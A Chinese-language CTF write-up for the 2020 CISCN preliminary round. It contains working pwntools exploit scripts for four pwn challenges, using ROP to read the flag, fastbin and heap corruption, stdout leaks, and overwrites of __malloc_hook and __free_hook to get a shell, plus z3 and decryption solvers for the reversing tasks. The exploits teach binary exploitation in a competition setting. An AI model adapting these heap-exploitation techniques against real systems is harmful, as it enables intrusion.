前言 菜鸡又是只会签到, pwn基本都是nuoye大哥做的, 这是他的blog: 2020CISCN-线上初赛
PWN wow 思路 与2020 RCTF的bf类似,缓冲区紧接着的指令指针存在off by one,可以控制该指针在栈上任意输入。
劫持返回地址构造rop,并将指令指针还原回去(存在check)。
因为禁用了execute系统调用,所以需要通过ORW方式获取flag。
exp from pwn import *context.log_level = 'debug' p = process("./wow" ) p = remote("101.200.53.148" ,"15324" ) pop_rdi=0x00000000004047ba pop_rsi=0x0000000000407578 pop_rdx=0x000000000040437f pop_rbp=0x0000000000404c41 pop_rax_rdx_rbx=0x000000000053048a mov_rdi_rax = 0x000000000041768f syscall = 0x00000000004dc054 read = 0x52A670 bss = 0x5d3520 puts = 0x4D47B4 rop = p64(0 )*2 rop += p64(pop_rdi) rop += p64(bss) rop += p64(pop_rax_rdx_rbx) rop += '/flag' +'\x00' *3 rop += p64(bss) rop += p64(bss) rop += p64(mov_rdi_rax) rop += p64(pop_rax_rdx_rbx) rop += p64(0x2 ) rop += p64(0 ) rop += p64(bss) rop += p64(pop_rsi) rop += p64(0 ) rop += p64(syscall) rop += p64(pop_rdi) rop += p64(3 ) rop += p64(pop_rsi) rop += p64(bss+0x100 ) rop += p64(pop_rax_rdx_rbx) rop += p64(0 ) rop += p64(0x100 ) rop += p64(bss) rop += p64(syscall) rop += p64(pop_rdi) rop += p64(bss+0x100 ) rop += p64(puts) rop += "^{@^}$" .ljust(8 ,'\x00' ) p.recvuntil("enter your code:" ) p.sendline("^{@^}&" ) p.recvuntil("running....\n" ) byte = u32(p.recv(1 )+'\x00' *3 ) -1 p.recvuntil("continue?" ) p.send('Y' ) p.recvuntil("enter your code:" ) p.sendline("^{@^}$" ) p.recvuntil("running....\n" ) p.send(p64(byte+0x48 )[0 ]) p.recvuntil("continue?" ) p.send('Y' ) p.recvuntil("enter your code:" ) p.send(rop+'\n' ) p.recvuntil("running....\n" ) p.send(p64(byte)[0 ]) p.recvuntil("continue?" ) p.send('n' ) p.interactive()
easybox 思路 存在off by one漏洞,利用漏洞可以实现chunk extend,得到两个指向同一地址的指针。然后利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。
接着用fastbin的double free漏洞劫持__malloc_hook,从而getshell。
exp from pwn import *def exp (): p = remote("101.200.53.148" ,"34521" ) libc = ELF("./pwn" ).libc def add (idx,size,data ): p.recvuntil(">>>" ) p.sendline("1" ) p.recvuntil("idx:" ) p.sendline(str (idx)) p.recvuntil("len:" ) p.sendline(str (size)) p.recvuntil("content:" ) p.send(data) def free (idx ): p.recvuntil(">>>" ) p.sendline("2" ) p.recvuntil("idx:" ) p.sendline(str (idx)) one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] add(0 ,0xf8 ,'a' *0xf8 ) add(1 ,0xf8 ,'a' *0xf8 ) add(2 ,0xf8 ,'a' *0xf8 ) add(3 ,0xf8 ,'a' *0xf8 ) free(2 ) add(2 ,0xf8 ,'a' *0xf0 +p64(0x300 )+'\x00' ) free(0 ) free(3 ) add(0 ,0xe8 ,'a' *0xe8 ) add(4 ,0xf8 ,p64(0 )+p64(0x71 )+'a' *0x68 +p64(0x81 )) free(4 ) free(0 ) free(1 ) add(0 ,0xf8 ,'a' ) add(5 ,0xf8 ,'a' ) add(6 ,0xf8 ,'a' ) free(5 ) add(7 ,0xf8 ,'\xdd\x25' ) free(0 ) free(7 ) add(0 ,0xe8 ,'a' *0xe8 ) add(8 ,0xf8 ,p64(0 )+p64(0x71 )) add(7 ,0x68 ,'a' ) add(9 ,0x68 ,'\x00' *3 +p64(0 )*6 +p64(0xfbad1800 )+p64(0 )*3 +'\x00' ) p.recvuntil(p64(0xfbad1800 )) p.recv(32 ) libc.address = u64(p.recv(6 )+'\x00\x00' ) -0x3C56A3 print hex (libc.address) free(8 ) free(0 ) free(6 ) add(0xa ,0xf8 ,'a' ) add(0xb ,0xe8 ,'a' ) add(0xc ,0xf8 ,p64(0 )+p64(0x71 )+'a' *0x68 +p64(0x81 )) add(0xd ,0xe8 ,'a' ) free(2 ) free(0xc ) add(0xc ,0xf8 ,p64(0 )+p64(0x71 )+p64(libc.sym['__malloc_hook' ]-0x23 )) add(1 ,0x68 ,'a' ) add(2 ,0x68 ,'\x00' *0xb +p64(libc.sym['realloc' ]+6 )+p64(libc.address+one[3 ])) p.recvuntil(">>>" ) p.sendline("1" ) p.recvuntil("idx:" ) p.sendline('3' ) p.recvuntil("len:" ) p.sendline(str (0x48 )) p.interactive() while (1 ): try : exp() except : print 'fail'
maj 思路 存在大量混淆,可以直接忽略。
free时未清空堆指针,从而可以利用堆错位来伪造size位等,实现将同一个地址先后free进fastbin和unsortbin,进而利用main_arean劫持stdout结构(1/16概率),使用io_leak的方法获取到libc地址。
并且因为没有开启pie,因而可以劫持堆指针。
构造一个堆指针指向__free_hook
,将其改为system,从而实现getshell。
exp from pwn import *libc = ELF("./pwn" ).libc context.log_level = 'debug' def exp (): p = remote("101.200.53.148" ,"15423" ) def add (size,data ): p.recvuntil(">> " ) p.sendline("1" ) p.recvuntil("please answer the question" ) p.sendline("82" ) p.recvuntil("you are right" ) p.sendline(str (size)) p.recvuntil("start_the_game,yes_or_no?" ) p.send(data) def free (idx ): p.recvuntil(">> " ) p.sendline("2" ) p.recvuntil("index ?" ) p.sendline(str (idx)) def edit (idx,data ): p.recvuntil(">> " ) p.sendline("4" ) p.recvuntil("index ?" ) p.sendline(str (idx)) p.recvuntil("__new_content ?" ) p.send(data) add(0x68 ,'aaa' ) add(0x68 ,'aaa' ) add(0x7f ,'aaa' ) free(0 ) edit(0 ,p64(0x603260 )) add(0x68 ,'aaa' ) add(0x68 ,'aaa' ) edit(4 ,p32(0xff )*24 ) edit(4 ,p32(0xff )*28 +p64(0x6032e0 )) edit(0 ,p64(0x6032e0 )+p64(0x603260 )) add(0x88 ,'a' *0x48 +p64(0x21 )) edit(5 ,'a' *0x68 +p64(0x21 )) add(0x18 ,'aaa' ) add(0x68 ,'aaa' ) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(0 )*3 +'\x70' ) edit(5 ,p64(0 )+p64(0x71 )) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(0 )*3 +'\x80' ) free(5 ) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(0 )*3 +'\x70' ) edit(5 ,p64(0 )+p64(0x91 )) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(0 )*3 +'\x80' ) free(5 ) edit(5 ,'\xdd\x25' ) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(0 )*3 +'\x70' ) edit(5 ,p64(0 )+p64(0x71 )) add(0x68 ,'aaa' ) add(0x68 ,'aaa' ) edit(3 ,'\x00' *3 +p64(0 )*6 +p64(0xfbad1800 )+p64(0 )*3 +'\x00' ) p.recvuntil(p64(0xfbad1800 )) p.recv(32 ) libc.address = u64(p.recv(6 )+'\x00\x00' ) -0x3C56A3 print hex (libc.address) edit(0 ,p64(0x6032e0 )+p64(0x603260 )+p64(libc.sym['__free_hook' ])) edit(2 ,p64(libc.sym['system' ])) edit(6 ,'/bin/sh' ) free(6 ) p.interactive() while (1 ): try : exp() except : print 'fail'
nofree strdup存在00截断,因而可以溢出堆块。通过 House of Orange 构造使top chunk进入0x70的fastbin中,从而控制堆指针,达到任意写。
这里采用爆破第4位(概率为1/16)的方式将read改为onegadget,从而getshell。
exp from pwn import *context.log_level = 'debug' def exp (): p = remote("101.200.53.148" ,"12301" ) def add (idx,size,data ): p.recvuntil("choice>> " ) p.sendline("1" ) p.recvuntil("idx: " ) p.sendline(str (idx)) p.recvuntil("size: " ) p.sendline(str (size)) p.recvuntil("content: " ) p.send(data) def edit (idx,data ): p.recvuntil("choice>> " ) p.sendline("2" ) p.recvuntil("idx: " ) p.sendline(str (idx)) p.recvuntil("content: " ) p.send(data) one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] add(0 ,0x90 ,'a' ) edit(0 ,"a" *0x10 +p64(0 )+p64(0x0fe1 )) for i in range (0x18 ): add(0 ,0x90 ,"a" *0x90 ) add(0 ,0x71 ,"a" *0x40 ) add(2 ,0x90 ,"a" *0x90 ) edit(0 ,'a' *0x40 +p64(0 )+p64(0x71 )+p64(0x6021c0 )) add(1 ,0x71 ,"a" *0x60 ) add(1 ,0x71 ,"a" *0x60 ) edit(1 ,p64(0x6021c0 )+p64(0xfffff )) edit(1 ,p64(0x6021c0 )+p64(0xfffff )) edit(0 ,p64(0x6021c0 )+p64(0xfffff )+p64(0x0602048 )+p64(0xffff )) edit(1 ,'\x64\x03' ) p.interactive() while (1 ): try : exp() except : print 'fail'
Re hyperthreading 简单加解密
res=[0xDD , 0x5B , 0x9E , 0x1D , 0x20 , 0x9E , 0x90 , 0x91 , 0x90 , 0x90 , 0x91 , 0x92 , 0xDE , 0x8B , 0x11 , 0xD1 , 0x1E , 0x9E , 0x8B , 0x51 , 0x11 , 0x50 , 0x51 , 0x8B , 0x9E , 0x5D , 0x5D , 0x11 , 0x8B , 0x90 , 0x12 , 0x91 , 0x50 , 0x12 , 0xD2 , 0x91 , 0x92 , 0x1E , 0x9E , 0x90 , 0xD2 , 0x9F ] for i in range (42 ): res[i]=((res[i]-35 )^0x23 )&0xff print (res)for i in range (42 ): print (chr (((res[i]>>6 )&0xff )^((res[i]<<2 )&0xff )),end="" )
z3 z3 直接解, 签到题
from z3 import *v4 = [0x00004F17 , 0x00009CF6 , 0x00008DDB , 0x00008EA6 , 0x00006929 , 0x00009911 , 0x000040A2 , 0x00002F3E , 0x000062B6 , 0x00004B82 , 0x0000486C , 0x00004002 , 0x000052D7 , 0x00002DEF , 0x000028DC , 0x0000640D , 0x0000528F , 0x0000613B , 0x00004781 , 0x00006B17 , 0x00003237 , 0x00002A93 , 0x0000615F , 0x000050BE , 0x0000598E , 0x00004656 , 0x00005B31 , 0x0000313A , 0x00003010 , 0x000067FE , 0x00004D5F , 0x000058DB , 0x00003799 , 0x000060A0 , 0x00002750 , 0x00003759 , 0x00008953 , 0x00007122 , 0x000081F9 , 0x00005524 , 0x00008971 , 0x00003A1D ] v5 = IntVector('x' , 42 ) s = Solver() s.add(v4[0 ]==34 *v5[3 ]+12 *v5[0 ]+53 *v5[1 ]+6 *v5[2 ]+58 *v5[4 ]+36 *v5[5 ]+v5[6 ]) s.add(v4[1 ]==27 *v5[4 ]+73 *v5[3 ]+12 *v5[2 ]+83 *v5[0 ]+85 *v5[1 ]+96 *v5[5 ]+52 *v5[6 ]) s.add(v4[2 ]==24 *v5[2 ]+78 *v5[0 ]+53 *v5[1 ]+36 *v5[3 ]+86 *v5[4 ]+25 *v5[5 ]+46 *v5[6 ]) s.add(v4[3 ]==78 *v5[1 ]+39 *v5[0 ]+52 *v5[2 ]+9 *v5[3 ]+62 *v5[4 ]+37 *v5[5 ]+84 *v5[6 ]) s.add(v4[4 ]==48 *v5[4 ]+14 *v5[2 ]+23 *v5[0 ]+6 *v5[1 ]+74 *v5[3 ]+12 *v5[5 ]+83 *v5[6 ]) s.add(v4[5 ]==15 *v5[5 ]+48 *v5[4 ]+92 *v5[2 ]+85 *v5[1 ]+27 *v5[0 ]+42 *v5[3 ]+72 *v5[6 ]) s.add(v4[6 ]==26 *v5[5 ]+67 *v5[3 ]+6 *v5[1 ]+4 *v5[0 ]+3 *v5[2 ]+68 *v5[6 ]) s.add(v4[7 ]==34 *v5[10 ]+12 *v5[7 ]+53 *v5[8 ]+6 *v5[9 ]+58 *v5[11 ]+36 *v5[12 ]+v5[13 ]) s.add(v4[8 ]==27 *v5[11 ]+73 *v5[10 ]+12 *v5[9 ]+83 *v5[7 ]+85 *v5[8 ]+96 *v5[12 ]+52 *v5[13 ]) s.add(v4[9 ]==24 *v5[9 ]+78 *v5[7 ]+53 *v5[8 ]+36 *v5[10 ]+86 *v5[11 ]+25 *v5[12 ]+46 *v5[13 ]) s.add(v4[10 ]==78 *v5[8 ]+39 *v5[7 ]+52 *v5[9 ]+9 *v5[10 ]+62 *v5[11 ]+37 *v5[12 ]+84 *v5[13 ]) s.add(v4[11 ]==48 *v5[11 ]+14 *v5[9 ]+23 *v5[7 ]+6 *v5[8 ]+74 *v5[10 ]+12 *v5[12 ]+83 *v5[13 ]) s.add(v4[12 ]==15 *v5[12 ]+48 *v5[11 ]+92 *v5[9 ]+85 *v5[8 ]+27 *v5[7 ]+42 *v5[10 ]+72 *v5[13 ]) s.add(v4[13 ]==26 *v5[12 ]+67 *v5[10 ]+6 *v5[8 ]+4 *v5[7 ]+3 *v5[9 ]+68 *v5[13 ]) s.add(v4[14 ]==34 *v5[17 ]+12 *v5[14 ]+53 *v5[15 ]+6 *v5[16 ]+58 *v5[18 ]+36 *v5[19 ]+v5[20 ]) s.add(v4[15 ]==27 *v5[18 ]+73 *v5[17 ]+12 *v5[16 ]+83 *v5[14 ]+85 *v5[15 ]+96 *v5[19 ]+52 *v5[20 ]) s.add(v4[16 ]==24 *v5[16 ]+78 *v5[14 ]+53 *v5[15 ]+36 *v5[17 ]+86 *v5[18 ]+25 *v5[19 ]+46 *v5[20 ]) s.add(v4[17 ]==78 *v5[15 ]+39 *v5[14 ]+52 *v5[16 ]+9 *v5[17 ]+62 *v5[18 ]+37 *v5[19 ]+84 *v5[20 ]) s.add(v4[18 ]==48 *v5[18 ]+14 *v5[16 ]+23 *v5[14 ]+6 *v5[15 ]+74 *v5[17 ]+12 *v5[19 ]+83 *v5[20 ]) s.add(v4[19 ]==15 *v5[19 ]+48 *v5[18 ]+92 *v5[16 ]+85 *v5[15 ]+27 *v5[14 ]+42 *v5[17 ]+72 *v5[20 ]) s.add(v4[20 ]==26 *v5[19 ]+67 *v5[17 ]+6 *v5[15 ]+4 *v5[14 ]+3 *v5[16 ]+68 *v5[20 ]) s.add(v4[21 ]==34 *v5[24 ]+12 *v5[21 ]+53 *v5[22 ]+6 *v5[23 ]+58 *v5[25 ]+36 *v5[26 ]+v5[27 ]) s.add(v4[22 ]==27 *v5[25 ]+73 *v5[24 ]+12 *v5[23 ]+83 *v5[21 ]+85 *v5[22 ]+96 *v5[26 ]+52 *v5[27 ]) s.add(v4[23 ]==24 *v5[23 ]+78 *v5[21 ]+53 *v5[22 ]+36 *v5[24 ]+86 *v5[25 ]+25 *v5[26 ]+46 *v5[27 ]) s.add(v4[24 ]==78 *v5[22 ]+39 *v5[21 ]+52 *v5[23 ]+9 *v5[24 ]+62 *v5[25 ]+37 *v5[26 ]+84 *v5[27 ]) s.add(v4[25 ]==48 *v5[25 ]+14 *v5[23 ]+23 *v5[21 ]+6 *v5[22 ]+74 *v5[24 ]+12 *v5[26 ]+83 *v5[27 ]) s.add(v4[26 ]==15 *v5[26 ]+48 *v5[25 ]+92 *v5[23 ]+85 *v5[22 ]+27 *v5[21 ]+42 *v5[24 ]+72 *v5[27 ]) s.add(v4[27 ]==26 *v5[26 ]+67 *v5[24 ]+6 *v5[22 ]+4 *v5[21 ]+3 *v5[23 ]+68 *v5[27 ]) s.add(v4[28 ]==34 *v5[31 ]+12 *v5[28 ]+53 *v5[29 ]+6 *v5[30 ]+58 *v5[32 ]+36 *v5[33 ]+v5[34 ]) s.add(v4[29 ]==27 *v5[32 ]+73 *v5[31 ]+12 *v5[30 ]+83 *v5[28 ]+85 *v5[29 ]+96 *v5[33 ]+52 *v5[34 ]) s.add(v4[30 ]==24 *v5[30 ]+78 *v5[28 ]+53 *v5[29 ]+36 *v5[31 ]+86 *v5[32 ]+25 *v5[33 ]+46 *v5[34 ]) s.add(v4[31 ]==78 *v5[29 ]+39 *v5[28 ]+52 *v5[30 ]+9 *v5[31 ]+62 *v5[32 ]+37 *v5[33 ]+84 *v5[34 ]) s.add(v4[32 ]==48 *v5[32 ]+14 *v5[30 ]+23 *v5[28 ]+6 *v5[29 ]+74 *v5[31 ]+12 *v5[33 ]+83 *v5[34 ]) s.add(v4[33 ]==15 *v5[33 ]+48 *v5[32 ]+92 *v5[30 ]+85 *v5[29 ]+27 *v5[28 ]+42 *v5[31 ]+72 *v5[34 ]) s.add(v4[34 ]==26 *v5[33 ]+67 *v5[31 ]+6 *v5[29 ]+4 *v5[28 ]+3 *v5[30 ]+68 *v5[34 ]) s.add(v4[35 ]==34 *v5[38 ]+12 *v5[35 ]+53 *v5[36 ]+6 *v5[37 ]+58 *v5[39 ]+36 *v5[40 ]+v5[41 ]) s.add(v4[36 ]==27 *v5[39 ]+73 *v5[38 ]+12 *v5[37 ]+83 *v5[35 ]+85 *v5[36 ]+96 *v5[40 ]+52 *v5[41 ]) s.add(v4[37 ]==24 *v5[37 ]+78 *v5[35 ]+53 *v5[36 ]+36 *v5[38 ]+86 *v5[39 ]+25 *v5[40 ]+46 *v5[41 ]) s.add(v4[38 ]==78 *v5[36 ]+39 *v5[35 ]+52 *v5[37 ]+9 *v5[38 ]+62 *v5[39 ]+37 *v5[40 ]+84 *v5[41 ]) s.add(v4[39 ]==48 *v5[39 ]+14 *v5[37 ]+23 *v5[35 ]+6 *v5[36 ]+74 *v5[38 ]+12 *v5[40 ]+83 *v5[41 ]) s.add(v4[40 ]==15 *v5[40 ]+48 *v5[39 ]+92 *v5[37 ]+85 *v5[36 ]+27 *v5[35 ]+42 *v5[38 ]+72 *v5[41 ]) s.add(v4[41 ]==26 *v5[40 ]+67 *v5[38 ]+6 *v5[36 ]+4 *v5[35 ]+3 *v5[37 ]+68 *v5[41 ]) if s.check() == sat: m = s.model() res = "" for i in range (42 ): res += chr (m[v5[i]].as_long()) print (res)
oplog 丢进反编译器里, 看到smc
取code[0x20:]重新反编译看到正常solidity代码
from z3 import *s = Solver() r1 = Int('r1' ) r2 = Int('r2' ) r3 = Int('r3' ) m1 = 0x88c218df8c5c25674af5808d963bfee9 m2 = 0xfa8cca1bced017e0ab064d4844c3020b m3 = 0xe0ac283049469716cebd61a5b97b8bef s.add(r1 > 0 ) s.add(r2 > 0 ) s.add(r3 > 0 ) s.add(r1 < m1) s.add(r2 < m2) s.add(r3 < m3) x1 = r1 * 0xd062 + r2 * 0x37b9 + r3 * 0xcc13 x2 = r1 * 0xa4fb + r2 * 0xa0a5 + r3 * 0x2fca x3 = r1 * 0x8f9b + r2 * 0x9805 + r3 * 0xa6a0 mod = 0x800000000000000000000000000000000000 v1 = 2357997788534811140333166336809177915724020 v2 = 94024083436562980853861433269689272115769 v3 = 7686765725723381031146546660250331403246417 key = (14678491206170330851881690558556870568208252 % mod) ^ v1 s.add((v1 ^ key) == (x1 % mod)) s.add((v2 ^ key) == (x2 % mod)) s.add((v3 ^ key) == (x3 % mod)) assert s.check() == satr1 = s.model()[r1].as_long() r2 = s.model()[r2].as_long() r3 = s.model()[r3].as_long() from functools import reducedef egcd (a, b ): if 0 == b: return 1 , 0 , a x, y, q = egcd(b, a % b) x, y = y, (x - a // b * y) return x, y, q def chinese_remainder (pairs ): mod_list, remainder_list = [p[0 ] for p in pairs], [p[1 ] for p in pairs] mod_product = reduce(lambda x, y: x * y, mod_list) mi_list = [mod_product//x for x in mod_list] mi_inverse = [egcd(mi_list[i], mod_list[i])[0 ] for i in range (len (mi_list))] x = 0 for i in range (len (remainder_list)): x += mi_list[i] * mi_inverse[i] * remainder_list[i] x %= mod_product return x val = chinese_remainder([(m1, r1), (m2, r2), (m3, r3)]) print (bytes .fromhex(hex (val)[2 :]))
flag: flag{wuhan_v3r9_g009_s4y_w3jj_8}